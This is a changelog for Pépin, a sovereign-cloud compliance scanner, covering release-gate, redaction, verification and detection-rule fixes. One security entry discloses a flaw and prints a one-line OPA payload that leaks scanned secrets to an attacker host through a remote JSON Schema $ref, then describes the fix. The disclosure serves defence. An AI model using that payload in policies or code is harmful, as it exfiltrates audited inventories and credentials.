Repository navigation
v0.4.0
Fixed
- The release gate blocked a tag on the absence of an artefact that tag would create.
Stage 2 runs the container commands extracted fromdocs/install.md, and that page
pins the version being released —TestTheInstallPagePinsTheLatestReleaserequires
it, rightly: an install page is the first thing anyone copies, and it must not offer a
version the repository no longer publishes. But that image does not exist on ghcr.io
while the gate runs, since the tag is what creates it. Found on the gate's first real
use, cutting v0.4.0. Stage 2 now verifies the last published tag — which is what it
actually measures, that the documented procedure works against a real release — and
writes the substitution into its evidence: a documented command silently rewritten
no longer proves what the page says.
Added
-
mise run release-gate -- vX.Y.Z— one verdict before a tag, GO or NO-GO, with its
report (issue #178, stages 1 and 4).release-checkand the canary each did what
they said; what the repository had no way to produce was a single verdict, read
from what a user actually experiences. A one-day external audit found by hand five
defects that no gate was looking at, and three of them were claims the
documentation made. So beyond running what already existed as one — preflight,
audit,adr-drift,falsify:all, a bounded fuzzing campaign, the generated doc
blocks — stage 1 now measures those claims: no Pépin version pinned in
docs/install*.mdorexamples/predates the minimum
references/release/pinning.yamldeclares safe (and both install pages cite it);
every relative link in the documentation resolves, anchor included; and the
binary's opening sentence names exactly the registered providers, measured by
running it. Stage 4 adds the rule the CHANGELOG header already promised: an
expected.yamlthat moved since the previous tag obliges a CHANGELOG that moved
too — a verdict changing on an unchanged tenant is what its reader will have to
explain to an auditor. Each stage writesrelease-gate/stageN.jsonand the run ends
withrelease-gate/REPORT.md, meant to be attached to the release. Three
non-negotiable rules: nothing says GO while a stage is red; a skipped stage carries
a written reason that appears in the report, and a silent--skipis refused;
and the gate must be able to go red —mise run gate:selftestbreaks each rule and
demands a refusal, and runs insideprepush. -
Release gate, stage 2 — the artefacts as a user gets them (issue #178). CI proves
the mechanisms work, on artefacts it builds itself and serves over a loopback. It
says nothing about the published chain — the signature living at Sigstore, the
attestation at GitHub, the image on ghcr.io — which can stop verifying without a line
of this repository moving. Stage 2 rebuilds the binaries with the workflow's own build
line (they must carry their tag and keep their exit codes), then, against the previous
tag's real assets: the README's "Verify what you downloaded" block, thecosign verify
anddocker runofdocs/install.md, the action's installer — which must accept the
published binary and refuse the same binary with one byte changed — and the GitLab
template'sbefore_scriptin thealpine:3.21it declares. Those commands are
extracted from the documentation, never copied into the gate: copying would prove
the copy works, extracting proves the page works, which is the invariant of ADR-0016. A
reorganised page turns the gate red instead of passing silently. Each check skips with
a written reason when its tool is missing — and a stage whose measuring checks were
all skipped is reported SKIPPED, never GO, because a green that measured nothing is
the defect this product holds against others.The gate also writes
release-gate/SUMMARY.md: the verdict alone — check names,
their verdicts, the date, the commit — meant for the body of the GitHub Release.
The detailed report is deliberately not published: it carries the maintainer's paths,
raw tool output and, at stage 3, resource identifiers from a real account, and it
could not enterchecksums.txtanyway, since it is produced locally before the tag
while the checksums are generated in CI (ADR-0016). A release body is not an artefact
— it is the same register as the notes it extends, a human claim, unsigned — so the
verdict adds no new trust promise there. And the gate proves the summary is safe to
publish: it refuses to call it publishable when it names a path on this machine, says
so on screen, and stamps the fileNON PUBLIABLE. -
Qualification tenants for Outscale and Exoscale (issue #198). Outscale: 79 Terraform
resources plus 6 OOS buckets and an inline EIM policy created by the tenant'sextra
hook, applied and destroyed on a real account — the two-NIC machine, the root access
key, theiam_policy_*family, snapshots, a public OMI, load balancers; the runner
now appliespre_destroy_varsbefore destroying (a protected VM does not destroy,
provider #88) and re-lists until deletions settle. Exoscale: plan-only, 37 resources,
no account — the Terraform source is pinned, the live half waits for an account. -
Exoscale qualification tenant, live half (issue #198): 40 resources in the full
plan, 39 applied (the organisation's quota is four instances; the Swiss instance is
plan-only throughterraform_only_resources) plus 3 SOS buckets created by the
extrahook (one of them with Object Lock, through the S3 API), applied, scanned
--livein five formats, sealed, destroyed and proven destroyed across two zones
(15 API families + buckets, before/after delta). The expected organisation comes
fromPEPIN_QUAL_EXO_ORGand is confirmed byGET /api-key/{key}→org-id
before any apply. What the live pass found, pinned as measured and filed: SOS
acceptsPutBucketTaggingand persists nothing (#208, every SOS bucket fails
governance_resource_required_tags);kubernetes_cluster_audit_logging_enabled
passes live on a cluster whose audit is disabled (#209, false green: the API returns
audit: {}andaudit_enabledis derived fromaudit.endpoint);regionis
projected on no live resource (#210,governance_resource_region_in_eu
not-evaluated); instance labels are not collected live (#211, an untagged instance
passes); a private instance carries no security group by construction (#212,
compute_instance_has_security_groupfires with an impossible remediation); every
SKS cluster creates ansks-ccm-*IAM role that fails twoiam_role_*controls
(#213). The two rule changes of #206 are pinned:…_all_portsisnot-applicable
on Exoscale,network_securitygroup_unrestricted_egressfails ontcp 1-65535. -
A qualification tenant, applied and destroyed on a real account (issue #178,
stage 3).PEPIN_GATE_LIVE=1 mise run qualifyapplies the Terraform stack committed
underreferences/qualification/scaleway/— 40 resources in the plan, 29 of them
applied: the five types a live scan collects; managed databases, private networks
and IAM policies exist only in the plan, because no live scan would see them —,
one fault per resource, one counterexample per control, scans it with--livein every format, seals and
verifies the bundle, scans the same plan with--terraform, destroys it, proves the
destruction (a listing per family on the tenant's tag, plus a before/after diff of
the account), and compares both assessments with the committedexpected.yaml
(control × source × subject → status). The runner refuses to start on an account
other than the one pinned there, and breaks one of its own expectations at the end
of every run to prove it can say NO-GO. A maintainer's gesture with native
credentials only, never CI.
Security
-
A shared evidence bundle no longer names a person.
iam_user.usernameis mapped
fromemailat both Scaleway and Exoscale, so an MFA finding's subject was an e-mail
address — and it travelled verbatim intoassessment.json, the OSCAL, the SARIF and
the sealedinput.json. A bundle is meant to be handed to a third party: the tool
was putting personal data in it without anyone deciding to.--redact, already the
"for a third party" switch, now substitutes those subjects with the user's stable
identifier, in the inventory, in the sealed assessment and in the evidence line that
quotes them. The address is not dropped — an operator fixing an MFA needs to know who —
the local report is unchanged; only what leaves the perimeter is. Which attribute
names a person is declared in the provider descriptor with its source, never a
hard-coded list in the CLI. -
A collector no longer reads back a request it has just put a secret into. CodeQL
reported, athigh, a secret key reaching a published report: a collector set its
credential as a header, then rebuilt the call signature from that same request object
to record it as provenance. The alert is a false positive — only method, scheme,
host and path are read, never a header or a query — but the analysis is right in
principle, and a string built before the credential is attached cannot become wrong
later. The signature is now computed before authentication is applied, in one
shared helper used by the three collectors that record it. Provenance still never names
a call that did not happen: the string is computed early and used only after a response. -
verifyno longer accepts a bundle that contradicts itself. Rewriting four
failresults intopassand recomputing the digest of the file touched produced a
bundle reported as "internally consistent", exit 0 — while its ownmanifest.json
still announced"fail": 4. The bundle already carried the information that
contradicted it, and nothing compared the two. Three cross-checks now do, none of
them needing a key: the manifest summary is reconciled with the statuses actually
present inassessment.json, each artifact's declared size is checked alongside
its digest, andchecksums.txtis parsed strictly — an unreadable or duplicated
line is a refusal, where an appended byte used to go unnoticed. -
verify --require-signaturefails when no signature was verified. A caller
scriptingverifyreceived 0 for a bundle the tool itself calls non-defensible: the
warning was on stdout, the exit code said success, and automation reads the exit
code. Opt-in, so no existing chain changes. CLI surface v5 → v6.What this does not do is close the digest chain, and the limit is worth stating:
nothing inside a bundle can anchorchecksums.txt, because whoever rewrites a file
rewrites the anchor too. Only the detached cosign signature closes it. These checks
catch corruption and self-contradiction, not a determined forger.
Security
- A third-party policy could exfiltrate the audited inventory, silently. Rules
hot-loaded through--policy-dirare third-party code, run over everything the scan
collected. The engine had removedhttp.send,net.lookup_ip_addrandopa.runtime
and said the network was out of reach; that was not true. OPA resolves a JSON
Schema's remote$refover HTTP at evaluation time, on a path no builtin guards,
so one line was enough:
json.match_schema(input, {"$ref": sprintf("%s/leak/%s", [attacker, input.secret])}).
Measured against the pinned scankit v0.2.2 with a witness server: the request left,
andEvaluatereturned no error — the silence is the part that mattered.
scankit is now pinned to v0.3.1, whose capability set carriesAllowNet: []string{}
(empty and non-nil denies every host), andTestNoThirdPartyPolicyCanReachTheNetwork
holds a witness against it so a pin regression cannot reopen it quietly.
Fixed
-
An identity the platform creates, uses and deletes no longer brings two unfixable
deviations per cluster. Exoscale's SKS creates ansks-ccm-<cluster>role for the
cluster's cloud controller manager and removes it with the cluster. It is
editable: true, so the predefined-role filter did not cover it — and every cluster
brought two IAM findings nobody could clear: binding the role to a source IP would mean
guessing the control plane's addresses, and adding a lifetime clause would break the
component. Ten clusters meant twenty irreparable findings. The fact is now collected
(provider_managed) and declared in the provider descriptor with its source, never
hardcoded as a name prefix inside a rule — a common rule knows no provider's naming
convention, and a prefix repeated in each would diverge at the first change. A shared
helper reads it, and the same role without the mark still raises all three findings. -
A bucket store that accepts tags and keeps none no longer produces a deviation on
every bucket. Exoscale's SOS answers200toPutBucketTaggingand persists
nothing: theGetBucketTaggingthat follows returnsNoSuchTagSetimmediately —
measured through the AWS CLI and a hand-written SigV4 request. That same response means
"no tags" at a provider that keeps them, and "this API does not keep them" here, so
projecting[]asserted a choice the operator had not made and cannot make. The
descriptor now declares it (s3.tags_persisted), the attribute is not projected, the
capability lock returnsnot-evaluated— the truth — and the tagging control stays
silent instead of flagging every bucket of the organisation with a remediation that
never succeeds.tagsremains a collector capability, so coverage keeps announcing it
where it does exist. -
A private instance no longer gets a
criticaldeviation it cannot fix. Where a
provider's security groups filter the public interface, an instance without one is
givensecurity-groups: []by construction — the API does it, the operator did not
choose it, and no remediation changes it. Ten private instances meant ten unfixable
criticalfindings, which is the shortest path to a tool being ignored. The fact is
now observed (public_interface, derived from Exoscale'spublic-ip-assignment),
not inferred from a missingpublic_ip, which would not tell "private" from "not
collected". Where a provider does not publish that field, nothing changes; and an
instance with a public interface and no group is still acriticaldeviation. -
Two more
passverdicts nothing established, both from the same shape as the audit
of a rule without a description. A guard asked per resource a question that is
per provider, and the capability lock — seeing the attribute collected on the type
thanks to a neighbour — let the assessment conclude with no finding.
kubernetes_cluster_audit_logging_enableddefaulted an absentaudit_enabledto
true, while the SKS API omits theauditobject when audit is off: a cluster
with no audit had no attribute, the rule assumed "enabled", and the report saidpass
on the very case it exists to catch.governance_resource_required_tagsskipped, in
silence, every resource whose type does not carrytags— measured on an Exoscale
tenant where SOS buckets carry them and instances, volumes and clusters do not. Both
questions are now asked of the inventory, and the tags one per type: a bucket
carrying tags proves nothing about an instance, since those are two APIs and two
collections. The counterexample each guard protected still holds, with its own test: a
provider that exposes the capability nowhere still fires nothing. -
One database got two subjects on a Terraform plan. The ACL-derived deviation named
the ACL resource, the instance-derived ones named the database: three deviations, two
names — and an exception written on one missed the other, silently. Two things were
needed. A mapping that reads its carrier through_parent.<field>now gets that field
filled from the declared reference, like any other argument (ADR-0022 filled simple
paths only). And the address so obtained is then resolved to the identity the target
carries in the inventory — a database that has anameis named by it, not by its
Terraform address. The rewrite is bounded to attributes actually filled from a
reference: a value that merely looks like an address is never touched. The same fix
makes a Scaleway bucket's subject readbackups-prodinstead of
scaleway_object_bucket.backups, which is what a reader is looking for. -
A control emitted six correct deviations on a provider the reference did not
declare it for.objectstorage_bucket_default_encryptionfires on Scaleway — the
shared S3 collector setsdefault_encryption_enabledon every bucket, and SSE is
opt-in per bucket there, so a bucket without one writes objects in cleartext. The
verdicts were right; the declaration was wrong, and the coverage matrix said ✗ for a
provider the tool was actually measuring. Declared now, with the attribute recorded in
the provider contract and its source. -
Two controls declared ✅ for Exoscale could never fire, and the two cases did not
deserve the same answer. Both requiredprotocol == "all", which an Exoscale
security group rule cannot express (the provider schema and the v2 API accept only
ah, esp, gre, icmp, icmpv6, ipip, tcp, udp).…_to_all_portsis now not applicable
there, with the sourced justification: the any/any mechanism does not exist, and the
port-family controls cover the real case. Butunrestricted_egresswas broadened
instead — an open egress does exist on Exoscale, writtentcp 1-65535 → 0.0.0.0/0,
and declaring it unmeasurable would have hidden a real posture fact. The bound is
strict: an egress limited to a few ports is filtering, and shouting at it is the false
positive that gets a tool switched off. -
A Terraform plan localises by zone, and the region was read raw. Scaleway writes
fr-par-1on a server, Outscaleeu-west-2aon a VM; the mapper took the value as-is,
so it posted a zone name as a region — a name no catalogue knows — and
governance_resource_region_in_eureturnednot-evaluatedon every plan, while the
operator had written the location in clear. Aregion_of_zonetransform now derives it,
declared per mapping. The naming schemes are the published ones, and a guard confronts
every derived region with the provider's own region catalogue: a provider that changed
convention makes it go red rather than silently posting an invented region into a
sovereignty report. What does not derive yields nothing, so the capability lock says
not-evaluated— a wrong region there would be worse than none. -
A security group rule with no description got
pass— from the control that
exists to catch exactly that. The rule guarded itself with"description" in object.keys(...), meant to answer "does this provider expose the field at all", but
asked per resource. On a Terraform plan an operator who writes no description
simply produces no field, so the rule stayed silent — and the silence became a
pass, because the capability lock sawdescriptioncollected on the type (another
rule carried it) and let the assessment conclude with no finding. Apassnothing
established, on the very deviation the control targets. The question is now asked of
the inventory: if any rule carries the key, the provider exposes the field, and a
rule without one is undocumented. No rule reads the provenance — ADR-0017 forbids it —
and the counterexample the original guard protected still holds: a provider that
exposes the field nowhere still fires nothing. -
A subject at fault by several routes no longer reads as several deviations. Three
denyblocks ofobjectstorage_bucket_public_access— a canned ACL, a grant, a bucket
policy — conclude on the same bucket, and each cause is real. But a public bucket is
one problem, and printing it three times made the report look bigger than what it
measures. Worse, it took all three slots of the "immediate action" panel, which
announces the three most severe deviations and delivered the same one three times.
Fixed upstream in scankit 0.3.5: one line per subject with its causes beneath, and the
panel deduplicates by (code, subject) before ranking. The aggregation is of the
display only — the block's count, the parsable formats and the severity tally still
carry every cause separately. -
A document without an inventory's shape is refused instead of being scanned as an
empty one. Aterraform show -jsonoutput handed over without--terraform, or an
empty object, was accepted and evaluated as an empty inventory: exit 3, "nothing
measured". Honest about what was measured, wrong about the cause — the caller does not
have an empty scope, they gave the wrong file, which is exit 2. A plan is named as such
("this file is a Terraform plan: scan it with--terraform"), and the opposite swap
was already refused, so both directions now move in step. The repository's own tests
were relying on the defect: two of them passed a plan in the inventory position. -
The coverage matrix measures what a plan carries instead of declaring what the
mapping names.compute_instance_public_ip_with_open_securitygroupread ✅ for
outscale/terraform whilepublic_ipis computed — Terraform only knows it after
apply, so no real plan carries it — and the veracity scenarios confirmed the cell on
a hand-written plan where the attribute is a literal. Coverage is now corrected by what
the reference tenant plans, generated from third-party HCL, actually yield. Three cells
drop from ✅ to ◐, and the reason distinguishes "the mapping does not name it" (fixed in
the spec) from "the mapping names it but no plan carries it" (not fixable there at all).
Six obligations that could never be met leave the veracity ledger with them. -
The terminal report printed one control's title and remediation over another
control's findings. A block prints a code, a title and a remediation and then lists
findings underneath, so it asserts those three of every finding it gathers — but
findings were grouped by SCSL code alone, and a requirement often covers several
controls. The title and remediation were then those of the first finding. Measured on
a real tenant, the line a reader acts on told them to revoke a root key in order to
fix aResource="*"grant. Fixed upstream in scankit 0.3.4: the grouping key is now
exactly what the block asserts, soCLD-IAM-1renders one block per control and the
controls table stops summing severity and counts across different controls on one row.
A single control under a code renders identically. -
A VM public through a secondary NIC, with SSH open on that NIC, produced no
finding. The collector projected the union of the NICs' public IPs, so the machine
counted as public — but it confronted that withVm.SecurityGroups, which the OAPI
documents as the primary NIC's groups. Measured on a real tenant: SSH answered on
the public address and the report said nothing. Exposure is a property of the
interface, so anetwork_interfaceresource is now collected per NIC (nic_id,
vm_id,public_ip,security_group_ids) and the rule pairs an address with the
groups of the same card. Flattening is wrong in both directions, which is why the
fix is not a wider union: a public NIC with a closed group plus a private NIC with an
open one would read, once merged, as "public and open" — a deviation the machine does
not carry. Where NICs are not collected (a Terraform plan), the machine is still judged
on its own attributes: a silent fallback would have made deviations disappear. -
SecNumCloud was declared per provider, while a qualification covers a scope of
regions. Outscale's coverscloudgouv-eu-west-1and that one only; aneu-west-2
tenant read "SecNumCloud qualifié" inside a sovereigntypass, which is the first
claim an auditor contests. The descriptor now declares the scope
(secnumcloud_regions, sourced), and thesecnumcloudattribute is rendered for the
region actually scanned:qualifieinside the scope,hors_perimetreoutside it,
perimetre_inconnuwhen the scan has no region — a scan that does not know where it
applies does not decide. The qualification therefore no longer grants extraterritorial
immunity outside its scope, and the provider page can no longer print the status
without it. No new deviation is emitted and no exit code moves. -
The install page pinned
v0.1.0, the version this repository itself declares
refuses every installation.examples/github-actions/pepin.ymlsays it in as many
words: in v0.1.0 and v0.1.1 the action's installer calledgh attestation verify
without a token, which refused every install. The install page is the first page a
newcomer copies from. Every pin now names the latest release, a sentence says the
caller passes no token since v0.2.0, and a guard requires the pinned versions to equal
the latest release recorded in the CHANGELOG — read from the repository rather than
from git tags, so a CI checkout without tags cannot make it drift. -
Four CLI messages pointed at the wrong thing.
--policy-dir /nonexistentand
provider validate <file>both reported.— the root of the filesystem view they
had just built — instead of the argument received; a file passed where a directory is
expected is now refused as such.--kubeconfigwithout--liveoffered two sources
that are not the one the caller had just named; the error and the flag's help now say
it needs--live. -
An unknown
--regionis flagged before the collection fails.--region eu-nowhere-9cost a minute of failing DNS lookups and seventeen "service unavailable"
units to read before the cause became guessable. It is a warning, not a refusal:
the region list belongs to the provider, and one added tomorrow must stay scannable
the same day — which is what separates it from an unknown--gate, whose vocabulary
is Pépin's own. The catalogue lives next to the provider descriptor and a guard
requires it to match the one the sovereignty rules already carry. -
control explainaccepts the code the report prints. The terminal report'sCode
column and every block header carry the SCSL requirement (CLD-STO-1), and
--format jsoncarries it incode; the command accepted only the check identifier,
which the report never prints. A reader who had just read a verdict had to guess.
Both forms now work, case-insensitively, and a requirement covering several controls
names them all rather than silently picking one. -
An access key whose expiry has already passed no longer counts as compliant. The
rule only refused a MISSING date, so a key stillACTIVEtwo years past its expiry
passed — measured on a real tenant. Both readings of that state are bad, which is why
the pass was wrong: either the provider still honours the key and the expiry protects
nothing, or it does not and a dead key is still declared active. The scan does not
need to settle which to know that "compliant" is false. The reference instant is the
EVALUATION time, not the clock, so replaying a sealed bundle yields the same verdict. -
A scan that measured nothing no longer renders as compliant. A green tick,
"No deviations found in the audited scope" and four severity counters at zero were
printed immediately above a verdict sayingINDÉTERMINÉ. Three signals literally true
and collectively misleading: "no deviation was found" and "nothing was looked at"
rendered identically. The exit code was already 3, so automation behaved correctly —
the failure mode was the person skimming a terminal, or the screenshot pasted into a
ticket. The marker is now neutral, the line names the cause, and the counters are
omitted. A genuinely compliant scan keeps all three, and the test asserts that too:
making the two cases identical would only have moved the confusion. -
A security group open to the whole internet through
/2ranges produced no
finding.is_public_cidrcalled a range public only at prefix ≤ 1, so the four
ranges0.0.0.0/2,64.0.0.0/2,128.0.0.0/2,192.0.0.0/2— which together cover
all of IPv4 — went unnoticed, while0.0.0.0/1in the same group was caught. Measured
on a real Outscale tenant: RDP open to the entire internet, and the report silent. A
/3, or a list of/8s, passed the same way. A source is now unrestricted when it is
wide (prefix ≤ 8) and not private — the second condition is what keeps
10.0.0.0/8on port 22 silent, and a partner network like203.0.113.0/24is
deliberately not flagged: "open to the internet" and "open to someone else" are
different claims.The union is closed too:
net.cidr_mergecollapses a rule's ranges before they are
judged, so 512/9covering the space become0.0.0.0/0and fire — measured. The
raw entries are still tested alongside, because a maskless literal (0.0.0.0,*)
is not a valid CIDR and the merge would lose it; and only valid entries are merged,
becausenet.cidr_mergegoes undefined on a malformed one, which would silence the
rule on third-party input.The merge only brings CONTIGUOUS ranges together, so a checkerboard escaped it: 256
/9one in two — half the internet — merged to 256 unchanged blocks and stayed
silent. The public addresses a source list opens are now COUNTED, exactly: merged
blocks are disjoint, and two CIDRs are either disjoint or nested, so a block's public
size is its own minus the special-use blocks it contains. One finding per resource
names the union —0.0.0.0/0, or256 CIDR → 1848508416 IPv4— rather than one per
range. -
The root description names the providers that exist. The first sentence a new
user reads advertised OVH — a roadmap entry, not a provider — and omitted Kubernetes,
which is one. The list is now derived from the registry: a copied list goes stale at
the first provider added or removed, and nobody rereads a welcome sentence. -
pepin scsl --indexno longer defaults to a maintainer's checkout layout. The
default was a relative path climbing out of the working directory into a repository
the reader has never heard of. The error was correct and said nothing: one could not
tell whetherframework-scslwas something to install, a submodule left
uninitialised, or an internal project.--indexis now required, and the message says
what the file is, that the command is a maintenance tool a scan does not need, and
gives an example. -
An unknown
--formatvalue is refused instead of falling back to the table. The
scan ran and printed the table report, with the exit code of a successful scan. The
dangerous case is not someone typingxmlat a prompt and noticing: it is a pipeline
step written--format oscaledited to--format oscal2, publishing a coloured table
where the whole downstream chain believes it is receiving OSCAL. An unknown format
belongs with an unreadable export and an unknown provider — an invocation error, exit
2, not a scan result. -
French mode no longer leaves the report scaffolding in English. Section titles,
table headers and the "no deviations" line came out English inside an otherwise
French report —Total deviations: 1above a French finding, closing on a French
verdict. The framework's own strings did too: usage template,help for <cmd>,
argument-count errors, unknown-flag errors. A report half-translated reads as
unfinished work rather than a choice, and the intended reader — a French-speaking
auditor of a sovereign cloud — is exactly the one who notices.One string stays English: cobra's
unknown command … Did you mean this?, built deep
inCommand.Findwith no hook. Translating it would mean matching its English text,
making behaviour depend on a dependency's wording.
TestTheUntranslatedCobraResidueIsKnownkeeps that residue inventoried and fails in
both directions, so it can neither grow nor be forgotten once fixed upstream. -
An unknown subcommand no longer exits 0, and no longer runs something else.
pepin provider inexistantsilently ranprovider list;pepin control list— the
natural guess, symmetric withprovider list— printed a help screen and succeeded.
A pipeline step writtenpepin control list --json > controls.jsontherefore wrote a
help screen into the file and went green. Every command now validates its arguments
and exits 2 on one it does not understand. A guard walks the command tree rather
than checking a hand-written list, and it found a fifth case the report had not:
provider listignored any argument. -
An inventory whose origin contradicts the requested ruleset is now refused.
Scanning a Scaleway inventory with the Exoscale rules was accepted without a word and
produced sixpassverdicts. Those passes were not wrong by accident, they were
meaningless: the resource shapes overlap just enough for rules to evaluate and
conclude. The failure mode was quiet and realistic — a typo in a pipeline, a
copy-pasted job — and the report looked entirely normal, with a non-zero exit code
that even suggested the scan had done its job. The declaration is read from the root
of the export and from its resources, and a mismatch exits 2, the code already
used for an unreadable export. An inventory that declares nothing is not refused: an
absent origin is not invented. -
evidence.provesno longer travels as["","",""]on every result.omitempty
on a fixed-size array is a no-op, so a reader could not tell "no proof recorded" from
"three proofs recorded, all blank" — including inside sealed bundles archived for
later. Fixed upstream in scankit v0.3.1 and guarded here, where the dossiers are
published.
Added
-
The fuzzing corpus survives a campaign. Interesting entries accumulated in
GOCACHE, which disappears with the machine — and a CI runner always starts cold.
Measured here: 125 interesting entries in twenty-five seconds against two versioned
seeds, so every campaign restarted from two and re-walked the ground the previous one
had already covered. That is lost work, repeated every run.mise run fuzz-promote
promotes entries into the versioned corpus under three written rules: a deterministic
capped sample (a random one would make the diff unreadable and the result
irreproducible), a cap that bounds the corpus rather than the run (each seed is
replayed by everygo test, so a corpus that swells is a permanent cost that swells
with it), and — the one that matters — each candidate is run against the current
tree before it is accepted. A seed that brings its target down is set aside and
named: it enters with the fix it motivates, never before. The campaign workflow now
keeps what it explored on every run, not only on failure, and prints the seed count it
started from. -
iam_accesskey_rotated: the rotation half of CLD-IAM-2, which nothing measured.
The requirement asks for long-lived keys "with an expiry AND a rotation". The expiry
reads off a field; the rotation reads nowhere — it is deduced from the key's age,
because a key never replaced is a key never rotated. Measured on a real tenant: a key
expiring in 2099 satisfies the expiry control while no rotation has ever taken place,
and an account withMaxAccessKeyExpirationSeconds: 0has no ceiling to bound it
either. The window iscontrols.iam.key_max_age_days, 90 days by default; widening it
silences deviations, so the reference binds it to the requirement through
au_plus_le_defaut. Inventory schema v4 → v5: anaccess_keynow carries
creation_date(osc-sdk-go v2.24.0AccessKey.CreationDate, verified in the SDK). -
scan --gate <all|security|compliance|sovereignty>: a profile for the CI gate,
which hides nothing. A first scan should trigger "oh, that one is interesting", not
"yes, I know my test VM has no deletion protection". The report stays COMPLETE in
every format — the rule already applied to exemptions and inconclusive findings: the
report says everything, only the gate filters. What changes is what weighs in the
exit code, and every scan prints what was set aside and why.
No profile can turn a red chain green: a1becomes a3at worst — "does not
establish compliance", the honest reading of a deliberately partial scan (ADR-0005,
and still no fifth code) — never a0. The default staysall, so nothing changes
without the flag. CLI surface v5 → v6. The flag is not--profile: that name already
designates the live-collection credentials profile. -
A finding now declares its CONFIDENCE, distinct from its severity. Severity says
the consequence if the problem is real; confidence says how sure Pépin is that it
established the problem at all. A volume with no recent snapshot and a VM with SSH
open to the internet were bothhighand indistinguishable — the first is
contextual(the rule documents it itself: a volume may be backed up otherwise), the
secondconfirmed.labels.confidenceis one ofconfirmed,probable,
heuristic,contextual, declared per rule, and a rule without one breaks CI. -
labels.categorygainssovereigntyandhygiene. Sovereignty is this
product's reason to exist and was filed undercompliance, where a filter could not
find it; documentation hygiene is neither a vulnerability nor a normative breach, and
conflating it with either is what makes a first scan irritating. Seven findings move
tosovereignty, three tohygiene. -
The secret-detection confidence vocabulary is unified with the common one:
high/medium/lowbecomeconfirmed/probable/heuristic, with no granularity
lost. Asecrets.min_confidencewritten with the old words is still accepted, at the
same rank, and normalised in the resolved configuration — a committed policy does not
change meaning in silence. -
The quality map now publishes precision, derived from the counterexample corpus.
"42 controls" is a sentence every CSPM says. Catching and staying SILENT are two
different measurements, and they are now printed side by side: 42 active
high/criticalcontrols, 18 with a detection path proven end to end, 16 with a
legitimate counterexample, 0 false positives measured on the hardened
counter-witnesses. There is deliberately no false-negative row: nothing in the
repository measures them, and a published "0" would mean "we did not look". A gate
fails if that field is ever added, and another refuses any precision figure larger
than its denominator. -
Every
high/criticalrule must now prove what it REFUSES to fire on. The
veracity contract proved Pépin could produce the expected verdict; it never proved
it withholds that verdict on a near-identical but legitimate configuration. A rule
that fires on everything is perfectly sensitive and has no measured precision at all.
A counterexample is a pair on one control × provider × source path: afailcase
and a closepasscase. 13 written so far, each proven in both directions; the 26
still missing are counted in a ledger that is exact both ways, and a new
high/criticalcontrol without its counterexample breaks CI.
mise run counterexamples-updateregenerates it. -
Reference tenants: third-party configurations, replayed on every build. A
fixture is written by the author of the rule, so it proves the rule fires — never
that it is right about a configuration nobody designed for it. Six real, published,
MIT/Apache-licensed stacks (two per sovereign provider) are now pinned to a commit
underreferences/tenants/, scanned through the binary on every build, and compared
to the verdicts recorded beside them. Each provider carries an exposed tenant and
the corresponding hardened counter-witness — the only place a false positive
shows up. Nothing is provisioned:terraform plancreates no cloud resource.
scripts/reference-tenant.sh --allre-derives the six plans from their upstreams
byte for byte, so a reviewer can check they are not files Pépin ended up writing
to itself. See Reference tenants. -
The plan committed for a tenant carries only what Pépin reads (
planned_values
and modulesources), with every value Terraform itself markssensitivenulled.
TestNoReferenceTenantPlanCarriesMoreThanPepinReadsrefuses the rest:variables,
provider_config,prior_stateandresource_changesare exactly where a plan
taken on a real tenant would carry its credentials. -
Canary scans at release qualification.
mise run canaryqueries the real
control plane of each cloud provider and records what it answered in
references/canary/<provider>.yaml, committed and dated. It holds no
credential and needs none: it sends synthetic values the provider refuses, and
what it measures is the refusal — an endpoint answering 401/403 exists and
resolves, a moved one would answer 404, the regression a descriptor cannot see
coming. First measurement, 31 endpoints: all answered, none moved. It does not
establish that a sufficient right returns200, so it does not count as live
validation of a control. Completeness is a test gate (internal/canary);
freshness — no record older than 90 days — is checked by the preflight, which
never holds a secret. See Releasing. -
A generated detection quality map, docs/detection-quality.md.
Rather than announcing "57 controls", it publishes what is verifiable: 63 verdicts proven
out of 458, 23 paths fully proven out of 178, and the breakdown per verdict —fail
10/140,pass24/140,not-evaluated18/156,not-applicable11/22. Every figure is
derived from the veracity ledger, the reference tenants and the canary records; none is
typed in, andTestTheMapNeverExceedsTheLedgerrefuses the map and the ledger to diverge.
Validated live: 0 % — derived, not written: only an authenticated record would move it,
and a canary holds no credential. -
pepin control explain <code> [--provider p]— a new CLI verb (cli surface v5). For
a control and a provider it renders the chain that makes its verdict defensible: the API
calls feeding the decision (thecollectespec, joins included, plus the shared Go
collectors), the deciding attributes, the exact conditions for apassin the order
assess.Buildevaluates them, the tests that exercise it, and the date of the last live
validation — which readsnever, and says why. It reads the same committed snapshot as
the map: two computations would diverge, and the one that diverges is the one people read.
Changed
-
Five verdicts move on an unchanged tenant, and each one is measured (issue #229).
The three qualification tenants were applied, scanned, sealed, destroyed and proven
destroyed on real Scaleway, Outscale and Exoscale accounts on 2026-09-10 — 15, 19 and
20 collection families listed, no tenant resource left, no before/after delta, for a
total of 0.072 EUR. What follows changes what a report says about infrastructure you
did not touch:compute_instance_has_security_groupno longer flags a private instance: a
security group does not attach to an instance with no public interface, so the
remediation could never be carried out (#212). On Exoscale live the control now
answersnot-evaluatedrather thanpass, because an observed empty list is
counted as not collected — a coverage gap, pinned and named as #227.governance_resource_required_tagsno longer flags an Exoscale SOS bucket: SOS
acceptsPutBucketTaggingand persists nothing, so such a bucket never carries a
tag whatever you do (#208). The control says it cannot conclude instead of shouting.database_service_not_open_to_internetnames the database, not the address of
the ACL rule that exposes it (#193). One database, one subject.objectstorage_bucket_default_encryptionon a Terraform plan is no longer absent
from the assessment: it appears asnot-evaluated, naming the attribute the plan
does not carry. A control that vanishes reads like a control with nothing to say.governance_resource_region_in_euconcludespasson an Outscale plan, where it
used to give up: the region is now derived from the zone the plan carries
(placement_subregion_name→region, #194). Verified before being pinned — a
not-evaluatedturning into apasshas the exact shape of a false green, and this
one rests on an observed value with its formula, not on a fabrication.
-
A refused Outscale unit now names the grant that would have collected it, and the
documentation says a complete scan needs the account owner's keys (issue #168).
Measured on 2026-09-09 against a realeu-west-2tenant, with an EIM user carrying
nothing but the read-only policy Outscale publishes (api:Read*on*): every OAPI
unit came back complete, with an inventory identical to the account owner's — and
OOS and OKS both refused that identity. OOS answersInvalidAccessKeyId — The AWS access key Id you provided does not exist in our records, meaning it does not know
EIM keys at all; OKS answersForbidden: User type not allowed, refusing the identity
by its type. Neither is a missing grant, so no EIM policy lifts them. Those two units
carried an empty grant in the descriptor, and the capability report only prints
"required grant" when the descriptor declares one: the operator read the raw S3 error
and went to check a perfectly valid key. Both grants are now declared, so the
capability report and everynot-evaluatedreason name them. The permissions table
